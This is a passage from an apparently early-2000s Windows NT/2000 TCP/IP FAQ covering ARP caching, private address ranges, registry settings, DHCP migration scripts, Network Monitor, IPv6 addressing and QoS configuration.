and a list of IP address to hardware address pairs will be shown. Try pinging a host on your local network and then displaying the ARP cache again and you will see an entry for the host, also try pinging a host outside your local network and check the ARP cache and an entry for the router will have been added. You will notice that the word dynamic is listed with the records, and this is because they were added as needed and are volatile, hence will be lost on reboot. In fact the entries will be lost quicker than this! If an entry is not used again within 2 minutes then it will be deleted from the cache. If it is used within 2 minutes, it will not be deleted for a further 10 minutes, unless used again and then it would be ten minutes from when used :-).

You may wish to add static entries for some hosts (to save time with the ARP requests) and the format is
arp -s <IP address> <hardware address>, e.g.
arp -s 200.200.200.5 00-A0-24-7A-01-48


Q. My Network is not connected to the Internet, can I use any IP address?

A. The basic answer would be Yes, however it is advisable to use one of the following ranges which are reserved for use by private networks:

10.0.0.0 - 10.255.255.255 this is a single class A network
172.16.0.0 - 172.31.255.255 this is a group of 16 contiguous class B networks
192.168.0.0 - 192.168.255.255 this is a contiguous group of 256 class C networks

The addresses above are detailed in RFC 1918 (Request for comment). Obviously if you did one day want to part of your network on the internet you would need to apply for a range of IP addresses (from Internic or from your ISP).

These addresses are routable and routers will route them by default. You aren't supposed to route them publicly, and need to configure your router accordingly. Internet backbone routers have been specifically configured to not route these addresses, but that is a specific configuration choice.

People using these addresses must specifically configure their routers to not route these addresses. Routers route these addresses by default as they don't know whether they are gateway routers or some intermediate router on a WAN (behind a gateway). Obviously if you're using them internally you want your Intranet routers to route the addresses or you won't be able to communicate inter-subnet.


Q. How can I increase the time entries are kept in the ARP cache?

A. The default 2 minutes can be changed by performing the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
  3. From the Edit menu select New - DWord value and enter a name of ArpCacheLife, click OK
  4. Double click the new value and set to the new value in seconds and click OK
  5. Close the registry editor
  6. Reboot


Q. What other registry entries are there for TCP/IP?

A. There is a whole knowledge base article on them that may be useful at http://support.microsoft.com/support/kb/articles/q120/6/42.asp .


Q. How can I configure more than 6 IP addresses?

A. Using the TCP/IP configuration GUI you are limited to 6 IP addresses however more can be added by directly editing the registry:

  1. Log on as an Administrator
  2. Start the registry editor (regedt32.exe)
  3. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services and scroll down to the service for your adapter card (Look at the adapters tab on the Network Control panel applet). For example the Etherlink 3 card is Elnk3, however you want the first occurrence so goto Elnk31.
  4. Move to the Parameters\TCPIP subkey
  5. Double click the IPAddress value. Enter in additional IP addresses separated by a new line
    IPAddress.gif (4020 bytes)
  6. When finished click OK
  7. Next edit the SubnetMask and again add an entry for each IP address added (in the same order). Click OK when finished.
  8. Close the registry editor
  9. Reboot the machine


Q. What are the common TCP ports?

A. Below is a list of the most common TCP ports.

Keyword | Port | Description
echo | 7 | Echo
systat | 11 | Active Users
qotd | 17 | Quote of the day
msp | 18 | Message Send Protocol
ftp-data | 20 | File Transfer (Data Channel)
ftp | 21 | File Transfer (Control)
telnet | 23 | Telnet
smtp | 25 | Simple Mail Transfer
name | 42 | TCP Nameserver
bootps | 67 | Bootstrap Protocol Servre
bootpc | 68 | Bootstrap Protocol Client
tftp | 69 | Trival File Transfer
gopher | 70 | Gopher
finger | 79 | Finger
www | 80 | World Wide Web
kerberos | 88 | Kerberos
pop3 | 110 | TCP post office
nntp | 119 | USENET
nfs | 2049 | Network File System


Q. How can I perform a migration to DHCP?

A. There are only a few basic registry entries that define a client as a DHCP client so an easy way to migrate clients to DHCP is to create a registry script that sets the required values via logon script. You should obviously be careful that there is no overlap between the addresses in the DHCP address pool and those statically assigned.

The DHCP service needs to be configured to start at system startup.Go to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DHCP\ and change the value entry Start from 1 to 2.

TCPIP parameters are defined to each NIC (Network Interface Card).

The following is an example registry script you may consider using. If you are unsure of the card service goto HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards\1 and write down the data for the value entry ServiceName

REGEDIT4

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<card
service>\Parameters\Tcpip]
"EnableDHCP"=dword:00000001
"IPInterfaceContext"=dword:00000001
"IPInterfaceContextMax"=dword:00000001

You should then add something into the logon script to detect the NIC installed into the computer, run the reg script and request an IP address, e.g.

if reg=elpc575 (for the 3com575tx) goto dhcp
..
..
..
:dhcp
regedit /s NIC_dhcp.reg
ipconfig /renew
net send %computername% Congrats Your computer has been configured for DHCP!
endif

A quick way to find out which network card you are using is on you LAN you will have various types of NIC.

For instance you may have the 3c89d, netflx3,3c575tx for instance for the Neflx3 driver, when the install takes place on the NT 4.0 it adds a registry key in the HKEY_LOCAL_MACHINE\systems\Current control set\system\services\cpqNF31 with the parameters:

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CpqNF31\Parameters\Tcpip]
"EnableDHCP"=dword:00000000.

You have to find out what the key name is because it is different for each NIC then you can run kix32.exe and use the arguement:

EXISTKEY (
"Key"
)

Checks for the existence of a registry key.

Parameters
Key - Identifies the key you want to check the existence of.

Returns
0 the key specified exists (Note : this is different from the way the EXIST function works...)
>0 the key does not exist, returncode represents an errorcode

$ReturnCode=ExistKey(
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CpqNF31" )

If $ReturnCode=0
? "Key exists...."
Endif

...to detemine if the key exist and then execute accordingly for that specific card.

You may also set the value IPAddress=0.0.0.0 and value SubnetMask=0.0.0.0 for the card service however they will be ignored anyway. Fill in the IPAddress and SubnetMask with 0.0.0.0. Blanking out or deleting the values won't work. Restart the workstation to complete the change.

This can also be done using Windows Scripting Host

From MS SupportOnline Article ID: Q197424

'-----------------------------------------------------------------------
   ' The following script reads the registry value name IPAddress to
   ' determine which registry entries need to be changed to enable DHCP.
   ' This sample checks the first 11 network bindings for TCP/IP, which is
   ' typically sufficient in most environments.
   ' ----------------------------------------------------------------------
   Dim WSHShell, NList, N, IPAddress, IPMask, IPValue, RegLoc
   Set WSHShell = WScript.CreateObject("WScript.Shell")

   NList = array("0000","0001","0002","0003","0004","0005","0006", _
                 "0007","0008","0009","0010")

   On Error Resume Next
   RegLoc = "HKLM\System\CurrentControlSet\Services\Class\NetTrans\"

   For Each N In NList
     IPValue = ""      'Resets variable
     IPAddress = RegLoc & N & "\IPAddress"
     IPMask = RegLoc & N & "\IPMask"
     IPValue = WSHShell.RegRead(IPAddress)
     If (IPValue <> "") and (IPValue <> "0.0.0.0") then
       WSHShell.RegWrite IPAddress,"0.0.0.0"
       WSHShell.RegWrite IPMASK,"0.0.0.0"
     end If
   Next

   WScript.Quit        ' Tells the script to stop and exit.


Q. How do I assign multipled IP addresses to a single NIC?

Q. How do I assign multiple IP addresses to a single NIC?

A. It is possible to assign more than one IP address to a single NIC (Network Interface Card). To configure extra IP addresses under NT 4.0 perform the following:

  1. Right click on Network Neighborhood and select Properties (if you are unable to do this start the Network Control Panel applet via control panel)
  2. Select the Protocols tab
  3. Select 'TCP/IP Protocol' and click the Properties button
  4. Select the 'IP Address' tab and you will see your normal IP address. Click the Advanced button at the bottom of the dialog
  5. Select the Adapted and click Add under the IP addresses section
  6. Enter the new IP address and subnet mask. Click Add
    Add IP address
  7. Click OK to the advanced dialog
  8. Click Apply then OK to the TCP/IP dialog
  9. Close all other dialogs
  10. Reboot the computer

Under Windows 2000 the procedure is the same except to get the TCP/IP protocol properties you need to:

  1. Right click on "My Network Places" and select Properties
  2. Right click on "Local Area Connection" and select Properties
  3. Select "Internet Protocol (TCP/IP) and select Properties
  4. The procedure is then as above except the reboot is not necessary


Q. How do I install the Network Monitor Utility?

A. Windows NT Server ships with a limited version of the Network Monitor utility which allows you to monitor only traffic to and from the installed box. The full SMS version allows promiscuous monitoring of the network.

To install the basic NT version:

  1. Start the Network Control Panel applet (Start - Settings - Control Panel - Network)
  2. Select the Services tab
  3. Click Add
  4. Select "Network Monitor Tools and Agent". Click OK
  5. Click OK to the main dialog
  6. The protocols will be rebound and you will need to reboot the machine

The SMS 1.2 version can be installed as part of a full SMS installation by selecting "Install Admin Tools" option and clicking Custom to add the network monitor. It can also be installed directly from the SMS\nmext directory on the SMS 1.2 CD-ROM:

  1. Insert the SMS 1.2 CD-ROM
  2. Move to SMS\nmext\disk1
  3. Run setup.exe
  4. Select the installation directory (C:\nm by default). Click Continue
  5. Files will then be copied
  6. You will have to set a Network Monitor passwords for capturing and viewing captures (or click No Password).
  7. Enter your name and click OK
  8. If the Network Monitor Agent is not installed it will being up the Network control panel applet where you must select the Services tab, click Add and select "Network Monitor Agent". Click OK
  9. Reboot the machine

SMS 2.0 version instructions will be added shortly.


Q. How do I perform a network trace using NetMon?

A. To start Network Monitor select "Network Monitor" from the "Network Analysis Tools" Start menu Programs folder. Once started you will be presented with the initial trace dialog which is split into 4 main windows.

Initially the trace will be for all hosts to all hosts however you will probably want to refine this using a filter as follows:

  1. From the Capture menu select Filter (or press F8)
  2. You will see and Address Pair entry of *ANY <--> *ANY. Select this line
  3. Click the Line button in the Edit area
  4. You will be shown a list of addresses the computer knows about, you may add new ones by clicking the "Edit Addresses" button.
  5. Select the host for station1 and station2 and the direction and click OK
  6. Click OK to the main dialog. You should see the *ANY <--> *ANY line has changed to the two nodes, e.g. LNTLL2 <--> LNPCSW0030

You are now ready to start the search by selecting Start from the Capture menu (or click F10). Once you have collected the data you require stop the search by selecting Stop from the Capture menu (or click F11). An alternative is to select Stop + View data which will stop the trace and show the captured data.

The normal method to display captured data is to select "Display Captured Data" from the Capture menu or click F12. A new dialog will be shown will all frames sent between the selected hosts. For more detail about a frame just double click it. It will then give the full frame information and content.

Example frame capture

Notice you can actually see the data that was sent and full IP and TCP headers can also be inspected. If you start another search it will ask if you want to save the current captured data. You can also manually save by selecting "Save As" from the File menu.


Q. Nothing shows up on my NETMON trace, why?

A. Netmon is capable of capturing data on all adapters including RAS adapters and by default it will trace the adapter with the lowest MAC address, which would be 000000000000 for a RAS device and thus the default.

To change the adapter used perform the following:

  1. Within Netmon select Networks from the Capture menu
  2. Select the correct local adapter (the MAC address will be non-zero)
    Choosing the "network"
  3. Click OK

Restart your capture. You could check your cards MAC address (if you had several) using the IPCONFIG /ALL command.


Q. What is the NETMON agent?

A. In some situations you may want to monitor traffic for a certain machine but are unable to actually use that machine to perform the network monitor (maybe because of physical location).

The Network Monitor agent is installed on the machine whose traffic you wish to monitor and then you can "connect" to it from a machine running the Network Monitor application and capture its traffic.

The Network Monitor agent runs as a service and needs to be started on the machine whose traffic you wish to capture.


Q. How do I install the Network Monitor agent?

A. The Network Monitor agent is supplied with both Windows NT Workstation and Windows NT Server and is installed as follows:

  1. Logon to the machine
  2. Start the Network Control Panel applet (Start - Settings - Control Panel - Network)
  3. Select the Services tab
  4. Click Add
  5. Select "Network Monitor Agent" and click OK
  6. It may ask for the location of the files, enter the location, e.g. d:\i386 and click OK
  7. Click Close to the main location
  8. Click Yes to reboot the machine

Once the reboot has completed you need to configure the Network Monitor so it starts automatically

  1. Start the Services control panel applet (Start - Settings - Control Panel - Services)
  2. Select "Network Monitor Agent"
  3. Click Start
  4. Click Start-up
  5. Select Automatic. Click OK

To start the Network Monitor Service from the command line use the command

C:\> net start nmagent


Q. How do I monitor traffic for an agent?

A. To monitor traffic from an agent perform the following:

  1. Start Network Monitor (Start - Programs - Network Analysis Tools - Network Monitor)
  2. Select Networks from the Capture menu
  3. Select Node Name of Remote
  4. Click Connect
  5. Enter the machine name of the Agent (or IP address), a comment and how often you want the status updated.
    Network Monitor Agent
    Click Connect
  6. A connection will be made

If the connection fails ensure the Network Monitor Agent is running on the remote machine and that you have local Administrator rights on it.

You can now perform captures as per normal. To switch back to local just select Networks from the Capture menu and select one of the Local node options.


Q. How do I filter captured packets?

A. Once you have captured data it is possible to apply a filter to view only certain type of packets:

  1. Once you have displayed your captured data select Filter from the Display menu
  2. You can select the protocol to monitor by selecting the Protocol==Any line and click Edit - Operator
  3. A new dialog will be displayed with 3 tabs, Address, Protocol and Property. You can click Disable All to disable the protocols and then selectively add the one you require, e.g. DNS
    Network filter
  4. From the Property tab you can select certain matches for each protocol to refine even further.
  5. Click OK to close the dialog
  6. Click OK to the main filter dialog

The data displayed will now be that which matches the specified criteria. Do disable the filter just select "Disable Filter" from the Filter menu.


Q. What is IPv6?

A. IPv6 is the next verions of the Internet Protocol, version 6.0 hence IPv6.

Current computers use IP version 4.0 which despite being created in the mid-1970's has done very well however it has reached its limit and is about to run out of addresses and is not the most bandwidth friendly protocol so its time for an upgrade.

Below are the 4 main reasons that IP version 4.0 needs an upgrade:

  • Address space limitation - Basically there are not many IP addresses left and with everything from watches having IP addresses we need more
  • Performance - IP has a very strict header format which can waste a great deal of bandwidth
  • Security - The next version of IP has excellent security measures which up to now have had to be handled by higher layers
  • Autoconfigure - IP configuration is quite complex and which DHCP moves to improve this the next version allows a computer to just plug into the network and go

Current IP addresses consist of 32 bits, represented as 4 bytes, dotted-quad format, e.g. 200.200.200.202. IP version 6 uses 128 bits for addresses!

IPv6 is defined in the following RFC's (Request for Comments)

  • RFC 1287 - Towards the Future Internet Architecture
  • RFC 1454 - Comparison of Proposals for Next Version of IP
  • RFC 2373 - IPv6 Addressing Architecture
  • RFC 2374 - IPv6 Global Unicast Address Format
  • RFC 2460 - IPv6 Specification


Q. How will IPv6 addresses be written?

A. Since IPv6 address's are 128-bit and hence four times longer than an IPv4 address, addresses are expressed as:

X:X:X:X:X:X:X:X

where each X is a 4-digit hexadecimal integer (16 bits) and each digit is 4 bits and so can be between 0 and F (F is 15 in hexadecimal) and so examples of valid addresses would be

FEDC:BA98:7654:3210:FEDC:BA98:7654:3210
1080:0:0:0:8:800:200C:417A

Notice in the second address you can leave off any leading zeros, but you must have at least one numeral in each part. For example :0800: can be written as :800:.

Obviously you may have a large sequence of zero's in the address and so it is possible to have a single gap by writing :: which will fill the gap with zero's, for example

1080:0:0:0:8:800:200C:417A

may be written as

1080::8:800:200C:417A

0:0:0:0:0:0:0:1 the loopback address (the same as 127.0.0.1 in IPv6) can be written as ::1.

A third format is available, when dealing with a mixed environment of IPv4 and IPv6 nodes is

x:x:x:x:x:x:d.d.d.d

where the 'x's are the hexadecimal values of the six high-order 16-bit pieces of the address, and the 'd's are the decimal values of the four low-order 8-bit pieces of the address (standard IPv4 representation). Examples:

0:0:0:0:0:0:13.1.68.3
0:0:0:0:0:FFFF:129.144.52.38

or in compressed form:

::13.1.68.3
::FFFF:129.144.52.38

The subnet mask is now replaced by a number appended to the network address specifying the number of bits making up the network part (CIDR notation), e.g. ipv6-address/prefix-length:

12AB:0000:0000:CD30:0000:0000:0000:0000/60
12AB:0000:0000:CD30::/60

Means the first 60 bits make up the network part of the address.

When writing both a node address and a prefix of that node address (e.g., the node's subnet prefix), the two can combined as follows:

the node address 11AC:0:0:CA20:123:4567:89AB:CDEF
and its subnet number 11AC:0:0:CA20::/60

can be abbreviated as 11AC:0:0:CA20:123:4567:89AB:CDEF/60


Q. What is the IPv6 header format?

A. Below is the specification for the header format of IPv6:

Version | Traffic Class | Flow Label
Payload Length |  | Next Header | Hop Limit
Source Address
Destination Address

Version - 4-bit Internet Protocol version number.

Traffic Class - 8-bit traffic class field

Flow Label - 20-bit flow label

Payload Length -16-bit unsigned integer. Length of the IPv6 payload, i.e., the rest of the packet following this IPv6 header, in octets. (Note that any present are considered part of the payload, i.e., included in the length count.)

Next Header - 8-bit selector. Identifies the type of header immediately following the IPv6 header. Uses the same values as the IPv4 Protocol field [RFC-1700 et seq.].

Hop Limit - 8-bit unsigned integer. Decremented by 1 by each node that forwards the packet. The packet is discarded if Hop Limit is decremented to zero.

Source Address - 128-bit address of the originator of the packet.

Destination Address - 128-bit address of the intended recipient of the packet (possibly not the ultimate recipient, if a Routing header is present).

Notice that the IPv6 header has far less fields than the IPv4 header and IPv6 introduces a number of extension headers as defined in RFC 2460.


Q. I am unable to install TCP/IP, why?

A. If you are trying to reinstall TCP/IP after previously uninstalling it the problem may be due to certain TCP/IP registry values not being removed correctly.

To manually remove perform the following:

  1. Start the registry editor (regedt32.exe)
  2. Select the key you want to delete.
  3. Select the 'Security' menu and select 'Owner...'. (The 'Owner' dialog box appears.)
    Click 'Take Ownership'.
  4. Select the 'Security' menu and select 'Permissions...'. (The 'Registry Key Permissions' dialog box appears.)
  5. In the 'Name' list box, select 'Everyone'.
  6. Select 'Full Control' from the 'Type of Access' drop-down list box.
  7. Select the 'Replace Permission on Existing Subkeys' check box.
  8. Click 'OK'.
  9. Repeat steps 2 to 8 for all registry keys to be deleted
  10. Reboot the computer so that Registry changes are recognized by Windows NT.

An alternative which avoids having to change security is to start regedt32.exe under the System account by submitting it via the schedule service

C:\> net start schedule (only if not already running)
C:\> at <time> /inter regedt32.exe
C:\> net stop schedule (only if you had to start it)

Once the computer has rebooted restart REGEDT32.EXE and ensure all of the following are deleted (these are the keys whose security you must set)

Connectivity Utilities:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\NetBT
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Tcpip
  • HKEY_LOCAL_MACHINE\Software\Microsoft\TcpipCU
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DHCP
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lmhosts
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\'NetDriver'x\Parameters\Tcpip (where 'x' is the number of the network adapter).
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

SNMP Service:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\RFC1156Agent
  • HKEY_LOCAL_MACHINE\Software\Microsoft\SNMP
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP

TCP/IP Network Printing Support:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\LPDSVC
  • HKEY_LOCAL_MACHINE\Software\Microsoft\TcpPrint
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LPDSVC

FTP Server Service:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\FTPSVC
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FTPSVC

Simple TCP/IP Services:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\SimpTcp
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SimpTcp

DHCP Server Service:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\DhcpMibAgent
  • HKEY_LOCAL_MACHINE\Software\Microsoft\DhcpServer
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DhcpServer

WINS Server Service:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Wins HKEY_LOCAL_MACHINE\Software\Microsoft\WinsMibAgent
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Wins

Windows sockets:

  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Winsock
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Winsock2

It may also be necessary to remove the following keys:

  • HKEY_LOCAL_MACHINE\System\CurrentControlSet\Enum\Root\Legacy_DHCP
  • HKEY_LOCAL_MACHINE\System\CurrentControlSet\Enum\Root\Legacy_Lmhosts
  • HKEY_LOCAL_MACHINE\System\CurrentControlSet\Enum\Root\Legacy_LPDSVC
  • HKEY_LOCAL_MACHINE\System\CurrentControlSet\Enum\Root\Legacy_NetBT
  • HKEY_LOCAL_MACHINE\System\CurrentControlSet\Enum\Root\Legacy_TCPIP
  • HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Linkage\Bind
  • HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManWorkstation\Linkage\Bind


Q. What switches can be used with PING?

A. PING is used to test TCP/IP connectivity with another host and gives information about the length of time test data takes to be sent to the host and a reply received.

Its most basic use is as follows:

C:\>ping <IP address or hostname>

Pinging 160.82.52.11 with 32 bytes of data:

Reply from 160.82.52.11: bytes=32 time=10ms TTL=252
Reply from 160.82.52.11: bytes=32 time<10ms TTL=252
Reply from 160.82.52.11: bytes=32 time<10ms TTL=252
Reply from 160.82.52.11: bytes=32 time<10ms TTL=252

From the above you can see it send 32 bytes to host 160.82.52.11 and each time a reply was received in 10ms or less, this shows a good connection.

PING does have a number of option parameters to accomplish different objectives.

ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS] [-r count] [-s count] [[-j host-list] | [-k host-list]] [-w timeout] destination-list

-t | Ping the specifed host until interrupted.
-a | Resolve addresses to hostnames.
-n count | Number of echo requests to send.
-l size | Send buffer size.
-f | Set Don't Fragment flag in packet.
-i TTL | Time To Live.
-v TOS | Type Of Service.
-r count | Record route for count hops.
-s count | Timestamp for count hops.
-j host-list | Loose source route along host-list.
-k host-list | Strict source route along host-list.
-w timeout | Timeout in milliseconds to wait for each reply.

In Windows 2000 you can press Ctrl-Break when running the -t option for a list of statisitics. Press Ctrl-C to actually stop the ping.

It can be useful to have a small batch file ping various hosts and terminal servers at regular intervals to ensure all are still present (although there are commercial software packages that do this). A simple command like:

C:\>ping -f -n 1 -l 1 148.32.43.23

Pinging 148.32.43.23 with 1 bytes of data:

Reply from 148.32.43.23: bytes=1 time<10ms TTL=128

pings a host once with one byte of data.

You should be aware that PING works by sending ICMP echo packets and some routers etc may filter these out meaning a PING will not work.


Q. How can I modify TCP retransmission timeout?

A. Service Pack 5 adds a new registry entry, InitialRtt, which allows the retransmission time to be modified. The range is 0 - 65535 milliseconds and can be set as follows:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
  3. From the Edit menu select New - DWORD value
  4. Enter a name of InitialRtt and press Enter
  5. Double click the new value and set to the number of milliseconds for the timeout, e.g. 5000 for 5 seconds (the old default was 3 seconds). Click OK
  6. Close the registry editor
  7. Restart the machine for the change to take effect

This parameter controls the initial retransmission timeout used by TCP on each new connection. It applies to the connection request (SYN) and to the first data segment(s) sent on each connection.

Care should be used when adjusting this value. Setting it to large values will dramatically increase the amount of time that it takes for a TCP connection attempt to fail, if the target IP address does not exist.

For instance, the default value is 3,000, or 3 seconds. By default, a connection request is retried 2 times. The total time-out is (3+6+12) seconds, or 21 seconds.

If this registry value is set to 6,000 (6 seconds), the total timeout will be (6+12+24) seconds, or 42 seconds. During this time, an application can appear to stop responding (hang).


Q. How can I disable media-sense for TCP/IP?

A. Windows 2000 introduces media-sense which in a Network Interface Card can detect if it is connected to a network cable and if it is not connected it disables protocols on that adapter (although the loopback address 127.0.0.1 and the local hostname still works).

This may be very inconvenient especially on portables as you may have programs running which requires use of its normal IP address so you can disable this media-sense for TCP/IP only (not the other protocols)

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
  3. From the Edit menu select New - DWORD value
  4. Enter a name of DisableDHCPMediaSense and press Enter
  5. Double click the new value and set to 1
  6. Click OK
  7. Reboot the computer

Cheers to Thomas Lee for letting me know media-sense existed :-)


Q. How can I check who owns subnet x?

A. The allocation of IP subnets is centrally controlled and maintained and this central database can be queried to see who owns a certain subnet, and also which companies own which subnets.

ARIN is the non-profit organization which maintains this database and provides a web based whois program at http://www.arin.net/whois/.

You can type in a subnet, e.g. 169.254 or a name, e.g. Microsoft.


Q. How can I disable APIPA?

A. APIPA (Automatic Private IP Addressing) was discussed in 'Q. My Windows 2000 DHCP client has an IP address not in any scopes, how? ' and is the mechanism in a small network that clients will automatically allocated themselves an IP address in the range of 169.254.x.x if no DHCP server can be contacted.

It may be desirable to disable this and to do this perform the following:

  1. Start the registry editor (Regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces
  3. Select the required interface
  4. From the Edit menu select New - DWORD value
  5. Enter a name of IPAutoconfigurationEnabled and press Enter
  6. Double click the new value and set to 0. Click OK
  7. Close the registry editor

If you have multiple adapters and wish to disable for all just create and set HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPAutoconfigurationEnabled to 0.


Q. What is quality of service (QOS)?

A. Quality of Service was first implemented in the 1970's over the X.25 network which had limited Quality of Service built into it allowing differentiation between various X.25 data streams providing priority transmission for those packets deemed to be a priority. Other technologies since then have had Quality of Service abilities including the newest technologies such as ATM (Asynchronous Transfer Mode)

Quality of Service at present is not for use over the Internet as it requires end-to-end support. However it has come from its primarily Wide Area Network (WAN) usage to now be used over the whole network, mainly due to the extended use of networks such as voice over IP etc. This is not to say QOS will not operate over the Internet, in the future it will be important to the Internet. It is just not ready yet.

Quality of Service is an end-to-end concept. Every box, router and bridge must support QOS. But what does it do? Basically you reserve an amount of bandwidth on the network, hence the need for it to be end to end. Imagine if a router in the middle of the network did not support QOS. From your computer to the router would reserve an amount of bandwidth. Suppose the target computer up to the router supported QOS. You would have a reserved pipe. But if the router did not support QOS and reserved no bandwidth it would all have been wasted. Every component HAS to support QOS for it to work.

There is a second kind of QOS; one where bandwidth is not reserved, but is given priority over other traffic. This is known as differentiated service.

For Quality of Service to work on a network, two things are required. The first is the reservation of resources, in this case bandwidth, on each component between the two ends of the link. This is done using the Resource Reservation Protocol or RSVP as its known. The second is for the actual data to receive the bandwidth reserved and while this sounds simple and it can be complicated in the real world.

Winsock 2.0 that is the windows sockets implementation provides full QOS support. However, until now there has never been an implementation method. With Windows 2000, applications can now have full Quality of Service support.

For more information also see:

  • http://www.microsoft.com/windows/server/Technical/networking/QoSOver.asp which has some good information
  • http://www.microsoft.com/windows/server/Technical/networking/enablingQOS.asp which talks about enabling applications to use QoS
  • http://support.microsoft.com/support/kb/articles/Q233/0/39.ASP a knowledge base article on using QoS queuing techniques
  • http://support.microsoft.com/support/kb/articles/Q228/8/30.ASP talks about SBM (Subnet Bandwidth Manager) used for QoS
  • http://msdn.microsoft.com/library/backgrnd/html/msdn_qostech.htm MSDN QoS document


Q. How do I install QOS support in Windows 2000?

A. There are two parts to getting QOS support in Windows 2000 as outlined below.

The first component we have to install to implement QOS is the packet scheduler and this is installed as follows:

  1. Right click on “Local Area Network” under Network and Dial-Up connections control panel applet
  2. Click the install button
  3. Select Service and click Add
  4. Select “QoS Packet Scheduler” and click OK
  5. QoS will now be listed as an installed service. Click Close

One thing to bear in mind that although a reboot of the machine is not required after installing the QoS service, it does reset all TCP/IP connections so make sure you are not doing anything important when installing the packet scheduler.

The next item is to actually install the QOS Admission Control Server (ACS) as follows:

  1. Start the Add/Remove Software control panel applet (Start – Settings – Control Panel – Add/Remove Software)
  2. Select ‘Add/Remove Windows Components’
  3. Select ‘Network Services’ and click Details
  4. Select ‘QoS Admission Control Service’ and click OK
  5. Click Next to the main component dialog
  6. A list of files to copy will be generated and the software installed
  7. Click Finish

The QoS packet scheduler is available on both Professional and Server Windows 2000 systems however the Access Control Service is only an option on Server. The QoS packet scheduler HAS to be installed on ALL clients that will be participating in QoS.

After installing the QoS ACS a new item will be added to the Administrative menu, the ‘QoS Admission Control’ MMC snap-in.


Q. How do I configure QOS in Windows 2000?

A. Installing QOS support is easy, the next task is to administer QOS, telling which users can reserve how much bandwidth etc.

Policies are defined using the QoS Admission Control MMC snap-in (Start – Programs – Administrative Tools – QoS Admission Control) and there are two areas policies can be defined for, the entire enterprise or for individual subnets and these subnets are defined using the Active Directory Sites and Services MMC snap-in.

Within the various Enterprise or subnet configurations are two types of policies, Authenticated and Un-Authenticated users. An authenticated user is any user in a trusted domain and is requesting QoS from a Windows 2000 client; the later is anyone not fitting the former description. It is possible to add policies for a specific user or Organizational Unit also.

The actual configuration of the QoS policy is the same for Enterprise or a subnet and so we will just look at the configuration of a single policy.

  1. Start the QoS Admission Control MMC
  2. Select the ‘Enterprise Settings’ branch
  3. Right click on ‘Any Authenticated User’ and select Properties
  4. Under the General property sheet you will notice ‘Any authenticated user’ is selected for the Identity. The direction is send and receive and you will see the Service level is All, other options for the service level are controller load, guaranteed service and disabled.
  5. Selecting the ‘Flow limits’ tab allows the data rate (by default 500 Kbits/sec), the peak data rate and the duration to be set for each data flow
  6. The final tab, ‘Aggregate limits’ sets limits for ALL data flows combined and includes total combined data rate, combined peak data rate and number of simultaneous data flows


Q. How can I change the account used for the QOS service?

A. By default the QoS service will run under the System account however you may prefer to create a special account for it and modify the service to use it:

  1. Create a new account called “ACSService” (ACS for Access Control Service) and add it to the local Administrators group. When adding ensure you set the option “password never expires” and unselect the option “user much change password at next logon”
  2. Start the Computer Management MMC snap-in (Start – Programs – Administrative Tools – Computer Management)
  3. Select the ‘Services and Applications’ branch
  4. Select Services
  5. Right click on ‘QoS Admission Control’ and select Properties
  6. Select the ‘Log On’ tab
  7. Select the ‘This account’ option and select the ACSService account, enter its password
  8. Click Apply then OK (when clicking Apply the account will be granted the ‘Log On As A Service’ right)


Q. Is IP version 6 available for NT/Windows 2000/95/98?

A. IP version 6 was first discussed in 'What is IPv6?'

Microsoft has released an Alpha release of IP version 6 (this is Alpha so not even Beta state so don't use on any live systems) which can be downloaded from http://research.microsoft.com/msripv6/. It installs on Windows NT and Windows 2000 installations but not Windows 95 or 98. The stack does not replace the IP version 4 stack but sits beside it allowing normal IP 4 connectivity to continue unaffected.

You can actually download the source and not just the images if you are interested.


Q. What is IPSec?

A. TCP/IP is widely used in most networks and with Windows 2000 forms a compulsory part of your network however a number of problems with TCP/IP exist.

Data is not sent in an encrypted format over TCP/IP which leaves it vulnerable to a number of attacks including eavesdropping which is where an attacker has access to the network and can therefore view all data sent.

